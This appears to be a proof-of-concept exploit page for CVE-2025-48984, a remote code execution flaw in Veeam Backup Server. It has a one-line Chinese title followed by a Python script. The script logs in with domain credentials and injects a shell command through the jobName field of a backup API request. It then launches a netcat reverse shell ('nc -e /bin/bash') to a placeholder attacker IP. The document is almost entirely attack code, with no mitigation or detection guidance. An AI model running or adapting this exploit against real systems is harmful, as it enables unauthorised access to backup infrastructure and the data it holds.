CVE-2025-48984 Veeam Backup Server 远程代码执行漏洞

# CVE-2025-48984 PoC - Veeam Backup Server RCE # Requires authenticated domain user credentials import requests import json TARGET = "https://vulnerable-veeam-server.local:9419" USERNAME = "[email protected]" PASSWORD = "password123" def authenticate(): """Authenticate and obtain session token""" login_url = f"{TARGET}/api/v1/sessionMngr" payload = { "username": USERNAME, "password": PASSWORD } headers = { "Content-Type": "application/json" } response = requests.post(login_url, json=payload, headers=headers, verify=False) if response.status_code == 200: return response.cookies return None def exploit_rce(session_cookies, command): """Execute arbitrary command via vulnerable endpoint""" # Vulnerable endpoint - command injection via job configuration exploit_url = f"{TARGET}/api/v1/backups/command" exploit_payload = { "jobName": f"test; {command};", "targetHost": "localhost" } response = requests.post( exploit_url, json=exploit_payload, cookies=session_cookies, verify=False ) return response.text if __name__ == "__main__": print("[*] Authenticating to Veeam Backup Server...") session = authenticate() if session: print("[+] Authentication successful!") print("[*] Executing reverse shell...") result = exploit_rce(session, "nc -e /bin/bash ATTACKER_IP 4444") print(f"[+] Response: {result}") else: print("[-] Authentication failed!")